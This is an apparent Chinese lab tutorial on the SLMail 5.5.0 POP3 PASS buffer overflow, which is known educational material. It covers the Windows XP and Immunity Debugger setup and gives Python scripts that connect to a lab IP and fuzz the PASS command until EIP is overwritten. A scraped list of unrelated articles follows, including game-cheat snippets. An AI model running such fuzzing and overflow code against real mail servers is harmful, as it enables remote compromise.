缓冲区溢出实例(一)--Windows

article/2025/9/17 12:02:45
一、基本概念
缓冲区溢出:当缓冲区边界限制不严格时,由于变量传入畸形数据或程序运行错误,导致缓冲区被填满从而覆盖了相邻内存区域的数据。可以修改内存数据,造成进程劫持,执行恶意代码,获取服务器控制权限等。
 
在Windows XP或2k3 server中的SLMail 5.5.0 Mail Server程序的POP3 PASS命令存在缓冲区溢出漏洞,无需身份验证实现远程代码执行。
 
注意,Win7以上系统的防范机制可有效防止该缓冲区漏洞的利用:
DEP:阻止代码从数据页被执行;
ASLR:随机内存地址加载执行程序和DLL,每次重启地址变化。
 
二、实验环境准备:
SLMail 5.5.0 Mail Server
ImmunityDebugger_1_85_setup.exe
mona.py
 
下载地址:
https://slmail.software.informer.com/download/
https://www.softpedia.com/get/Programming/Debuggers-Decompilers-Dissasemblers/Immunity-Debugger.shtml
https://github.com/corelan/mona
mona手册
https://www.corelan.be/index.php/2011/07/14/mona-py-the-manual/
 
实验环境:xp
关闭防火墙
 
1.安装SLMail 5.5.0邮件服务器
 
 
 
 
 
将本地账户导入邮件服务器
安装好环境之后,确认SLMail的端口是否正常开启:25 pop3端口,180 web管理端口。
services.msc 查看邮件相关服务。
2.邮件服务安装成功后,接下来安装调试工具 ImmunityDebugger
软件会自动安装python2.7环境
打开Immunity Debugger所在目录
C:\Program Files\Immunity Inc\Immunity Debugger
将mona.py复制到PyCommands目录下,
C:\Program Files\Immunity Inc\Immunity Debugger\PyCommands
 
三、实验内容
SLMail 5.5.0 Mail Server
POP3 PASS 命令存在缓冲区溢出漏洞
无需身份验证实现远程代码执行
win7之后windows的安全防护机制
DEP:阻止代码从数据页被执行
ASLR:随机内存地址加载执行程序和DLL,每次重启地址变化
 
使用nc验证端口连接是否正常,并且可执行pop3的一些指令
nc 192.168.199.199 25
nc 192.168.199.199 110
测试 PASS 命令接收到大量数据时是否会溢出
EIP 寄存器:存放下一条指令的地址
pop3邮件服务侦听的端口是110,进程ID是636.
使用Immunity Debugger
file---attach---选中pid号为636的进程---attach调用
开始监控程序运行状态
利用原理:“PASS”命令后,当一些特殊定制的命令输入,会造成缓冲区溢出,上传shellcode,可控制目标系统,则不需要经过身份验证,获得权限
 
一、测试哪个命令会出现缓冲区溢出
注:如何了解应用/协议能接受的固定指令:1、Wireshark 2、RFC【必须理解系统底层和协议底层】
01.py 最简单的功能实现
#!/usr/bin/python
 
import socket
s = socket.socket(socket.AF_INET,socket.SOCK_STREAM)
 
try:
print "\nSending evil buffer..."
s.connect(("192.168.199.199",110))
data = s.recv(1024)
print data
 
s.send("USER Xuan"+"\r\n")
data = s.recv(1024)
print data
 
s.send("PASS test\r\n")
data = s.recv(1024)
print data
 
s.close()
print "\nDone"
 
except:
print "Could not connect to POP3!"
 
 
02.py【不断增大发送量,通过Debug确定是否会溢出】【若发送数目很大,还没溢出,则可放弃】
# 大概确定范围
#!/usr/bin/python
 
import socket
 
buffer=["A"]
counter=100
while len(buffer) <= 50:
buffer.append("A"*counter)
counter=counter+200
 
for string in buffer:
print "Fuzzing PASS with %s bytes" % len(string)
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
connect = s.connect(("192.168.199.199",110))
s.recv(1024)
s.send("USER test"+"\r\n")
s.recv(1024)
s.send("PASS "+string+"\r\n")
s.send("QUIT\r\n")
s.close()
 
 
EIP中的41是十六进制数,转换为字母就是A,也就是说此时EIP寄存器全部填满了A,ESP寄存器也被填满了A,每四个字节为一个存储单元进行存储,
EIP就是当前邮件服务器SLmail下一个需要执行的指令的内存地址,所发送的A把下一条指令的内存地址给覆盖了,发生了缓冲区溢出。此时cpu会到EIP所在的内存地址中寻找指令代码,而该指令内存已被A全部覆盖,此时程序就会奔溃无法继续运行。
漏洞利用:可以用shellcode填充EIP寄存器地址,这样就可能控制目标机器。

http://chatgpt.dhexx.cn/article/kia0SbX8.shtml

相关文章

linux服务器接收缓冲区拥堵,Linux Kernel IP虚拟服务器栈缓冲区溢出漏洞

发布日期&#xff1a;2013-11-15 更新日期&#xff1a;2013-11-18 受影响系统&#xff1a; Linux kernel < 3.2.13 描述&#xff1a; -------------------------------------------------------------------------------- BUGTRAQ ID: 63744 CVE(CAN) ID: CVE-2013-4588 Li…

20155216 缓冲区溢出漏洞实验

20155216 缓冲区溢出漏洞实验 缓冲区溢出漏洞实验实验简介 缓冲区溢出是指程序试图向缓冲区写入超出预分配固定长度数据的情况。这一漏洞可以被恶意用户利用来改变程序的流控制&#xff0c;甚至执行代码的任意片段。这一漏洞的出现是由于数据缓冲器和返回地址的暂时关闭&#x…

天骄辅助外挂制作,寻求合作

大家好&#xff0c; 进入正题现有我想开发一款游戏外挂&#xff0c;是针对新天娇的 不知您有没有开发外挂的经验呢&#xff1f;由于本人没有外挂开发的经验也暂时找不到相关的资料学习。 现在打算将这个项目外包出去&#xff0c; 要求&#xff1a; 一台机可以同时登录几个帐号 …

解剖一些外挂制作原理(DNF)

外挂现在大体上来讲分为三种&#xff0c;分别是模拟按键&#xff0c;WPE封包和内存挂。比如模拟键盘的&#xff0c;鼠标的&#xff0c;这种就叫做按键模拟&#xff0c;也叫脚本精灵&#xff1b;还有修改数据包的&#xff0c;这种就叫做WPE封包外挂&#xff0c;这种外挂相对而言…

外挂制作之思路总结和基址与偏移量

从今天起开始学习如何做外挂了 &#xff0c; 很久之前了解过一点皮毛。 无非是读写游戏进程中的内存数据。 再读写内存数据之前首先要做的就是找到游戏进程中在内存中的地址。在基地址中&#xff0c;利用CE寻找到某一数据对应的内存地址。计算出偏移量。然后每次都可以通过内存…

高中数学:数列求和的8种常用方法(最全)

高中数学&#xff1a;数列求和的8种常用方法&#xff08;电子版&#xff09;

常用数列求和公式

斐波那契数列 形如数列&#xff1a;1, 1, 2, 3, 5, 8, 13, 21, 34, 55, 89, 144, ... 如果设F(n&#xff09;为该数列的第n项&#xff08;n∈N*&#xff09;&#xff0c;那么这句话可以写成如下形式: F(n)F(n-1)F(n-2) 通项公式: 求和公式: Sn2AnA(n-1) - 1 A(n2) -1 等…

在线等比数列求和计算器

在线等比数列求和计算器 在线等比数列求和计算器 该等比数列求和计算器可以计算指定等比数列各项之和,该等比数列求和计算器可以计算指定等比数列各项之和 https://tooltt.com/dbsl-sum/

蓝桥杯JAVA数列求和

import java.util.Scanner; public class Main {public static void main(String[] args) {Scanner sc new Scanner(System.in); int n sc.nextInt(); int a 1,b 1,c 1;for (int i 4; i < n; i) {int temp (a b c)%100000;//为了防止超过最大整数&#xff0c;可以…

C语言例程:数列求和

数列求和 计算 1121231234…12…n 的值。通过该实例&#xff0c;可以学习 if 条件判断语句和 for 循环语句的应用。程序运行结果如图 所示。 #include <stdio.h> int main() { int i,j,n; /* 定义循环变量 i,j&#xff0c;数列项数 n */ long int sum0,temp0; /* 定义…

C语言_等比数列求和

等比数列&#xff1a; 图片来源&#xff1a;百度百科 代码实现 1-递推求和 #include<stdio.h> int main() {int n, i;double q, sum, temp;while (scanf("%d %lf", &n, &q) ! EOF)//实现循环{sum 1;temp 1;for (i 0; i < n; i){temp * q;//让临…

Java、对数列求和

package Recursive;public class Exercise18_05 {public static void main(String[] args) {for (int i 1; i < 10; i) //计算m(i)&#xff0c;i 1,2,...10System.out.println("m(" i ") is " m(i));}/** 返回数列和 */public static double m(i…

等差数列求和

文章目录 #任务4.等差数列求和(一&#xff09;编程实现 &#xff08;二&#xff09;讲解知识点&#xff08;三&#xff09;扩展练习任务1.打印水仙花数任务5.打印九九乘法表 #任务4.等差数列求和 -任务&#xff1a;计算123…100的值 (一&#xff09;编程实现 -创建net.lixin…

等比数列求和

引入&#xff1a; 先来看一个问题&#xff0c;求的所有约数之和&#xff1b; 解决思路如下&#xff1a;首先将分解质因数&#xff0c;表示为&#xff0c;其中均为质数&#xff0c;因此表示为&#xff1a;。此时我们将的所有约数表示为集合&#xff0c;从这个约数中选出个数的…

相控阵天线(二):非规则直线阵列天线(稀布阵列、稀疏阵列、平方率分布阵列、含python代码)

目录 非规则线阵概述不均匀递变间距阵列稀布阵列稀疏阵列不均匀相位递变阵列不均匀幅度激励阵列代码示例 非规则线阵概述 非规则线阵主要包括以下情况&#xff1a; 1. 不均匀间距阵列&#xff1a; a&#xff09;不均匀间距递变阵列&#xff1a;单元间距按照一定的系数递增&…

Dell服务器组建阵列-Raid(有阵列卡)

如何使用Dell PowerEdge 14G服务器的系统设置在Dell RAID 控制器(PERC 10)上创建虚拟磁盘 步骤&#xff1a; 在系统启动期间&#xff0c;按F2键进入System Setup&#xff08;系统设置&#xff09;主菜单。 单击Device Settings&#xff08;设备设置&#xff09;。 单击所需的…

磁盘阵列卡

阵列卡的全称叫磁盘阵列卡&#xff08;RAID controller&#xff09;是用来做 RAID&#xff08;廉价冗余磁盘阵列&#xff09;的。磁盘阵列是一种把若干硬磁盘驱动器按照一定要求组成一个整体&#xff0c;整个磁盘阵列由阵列控制器管理的系统。冗余磁盘阵列RAID(Redundant Array…

脉动阵列

脉动阵列是一个比较古老的概念&#xff0c;早在1982年就有了&#xff0c;可是&#xff0c;最近google的TPU采用了这个结构&#xff0c;脉动阵列又火了起来。我也是从今年新入职了一家公司后才接触到的&#xff0c;对比之前自己设计的AI架构&#xff0c;脉动阵列确实有很多优势。…

创建软RAID5阵列

centos7部署raid5阵列 前言 ①实验环境 系统&#xff1a;Linxu centos7 内存: 硬盘&#xff1a;20GB系统盘一块&#xff0c;3块5GB拓展硬盘 ②目的&#xff1a; 用4块硬盘在 centos 7系统中模拟软Radi 5磁盘阵列&#xff0c;当其中一块盘坏掉&#xff0c;保证生产正常运行。…

相控阵天线(七):常规平面阵列天线分布(矩形阵列、三角栅格、六边形阵列和圆形阵列)

目录 简介矩形栅格平面阵列三角栅格平面阵列六边形阵列圆形平面阵列空心平面阵列 简介 常见的平面阵有一些基本类型&#xff0c;按照栅格形式可以进行以下划分&#xff1a;矩形栅格、三角形栅格、同心圆环和椭圆环栅格等&#xff1b;按照边界形式可以进行以下划分&#xff1a;…